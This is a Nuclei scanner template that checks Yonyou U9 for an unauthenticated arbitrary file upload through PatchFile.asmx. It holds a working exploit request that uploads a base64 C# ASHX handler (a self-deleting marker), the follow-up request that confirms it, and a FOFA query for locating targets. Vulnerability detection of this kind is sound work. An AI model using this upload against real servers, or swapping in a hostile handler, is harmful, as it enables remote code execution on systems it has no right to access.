yonyou-u9-patchfile-upload: Yonyou U9 PatchFile.asmx - Unauthenticated Arbitrary File Upload

id: yonyou-u9-patchfile-upload

info:
  name: Yonyou U9 PatchFile.asmx - Unauthenticated Arbitrary File Upload
  author: Co5mos,ProjectDiscoveryAI
  severity: critical
  description: |
    An arbitrary file upload vulnerability in U9 PatchFile.asmx allows attackers to upload files to the server.This can lead to various security issues including remote code execution.
  metadata:
    verified: true
    fofa-query: title="U9-登录"
  tags: unauth,file-upload,yonyou,u9,rce,vuln

variables:
  filename: '{{rand_base(5)}}.ashx'

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://tempuri.org/SaveFile"

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
          <SaveFile xmlns="http://tempuri.org/">
            <binData>PCVAIFdlYkhhbmRsZXIgTGFuZ3VhZ2U9IkMjIiBDbGFzcz0iRGVsZXRlQ3VycmVudEZpbGUiICU+DQoNCiAgICB1c2luZyBTeXN0ZW07DQogICAgdXNpbmcgU3lzdGVtLldlYjsNCiAgICB1c2luZyBTeXN0ZW0uSU87DQoNCiAgICBwdWJsaWMgY2xhc3MgRGVsZXRlQ3VycmVudEZpbGUgOiBJSHR0cEhhbmRsZXIgew0KICAgICAgICANCiAgICAgICAgcHVibGljIHZvaWQgUHJvY2Vzc1JlcXVlc3QgKEh0dHBDb250ZXh0IGNvbnRleHQpIHsNCiAgICAgICAgICAgIGludCByZXN1bHQgPSAxMTExICogMjIyMjsNCiAgICAgICAgICAgIGNvbnRleHQuUmVzcG9uc2UuQ29udGVudFR5cGUgPSAidGV4dC9wbGFpbiI7DQogICAgICAgICAgICBjb250ZXh0LlJlc3BvbnNlLldyaXRlKHJlc3VsdCk7DQoNCiAgICAgICAgICAgIHN0cmluZyBmaWxlUGF0aCA9IGNvbnRleHQuU2VydmVyLk1hcFBhdGgoY29udGV4dC5SZXF1ZXN0LkN1cnJlbnRFeGVjdXRpb25GaWxlUGF0aCk7DQogICAgICAgICAgICBpZiAoRmlsZS5FeGlzdHMoZmlsZVBhdGgpKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgRmlsZS5EZWxldGUoZmlsZVBhdGgpOw0KICAgICAgICAgICAgICAgICAgICBjb250ZXh0LlJlc3BvbnNlLldyaXRlKCJcbkZpbGUgZGVsZXRlZCBzdWNjZXNzZnVsbHkuIik7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGV4KSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRleHQuUmVzcG9uc2UuV3JpdGUoIlxuRXJyb3IgZGVsZXRpbmcgZmlsZTogIiArIGV4Lk1lc3NhZ2UpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgY29udGV4dC5SZXNwb25zZS5Xcml0ZSgiXG5GaWxlIG5vdCBmb3VuZC4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIA0KICAgICAgICBwdWJsaWMgYm9vbCBJc1JldXNhYmxlIHsNCiAgICAgICAgICAgIGdldCB7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0K             fQ0KICAgICAgICB9DQogICAgfQ==</binData>
            <path>./</path>
            <fileName>{{filename}}</fileName>
          </SaveFile>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - "<SaveFileResult>true</SaveFileResult>"
        internal: true

  - raw:
      - |
        GET /CS/Office/AutoUpdates/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "2468642","File deleted successfully")
        condition: and
# digest: 490a0046304402207b76824ccf0b3615bda5fe2803cc3d20ed0d1da0bc0d1d9f7a1edb5a7b8ff056022050eadeb55586f4092e141ed2e2be0e4278525bdf1de2efa44ae52b34991a5e8a:922c64590222798bb761d5b6d8e72950

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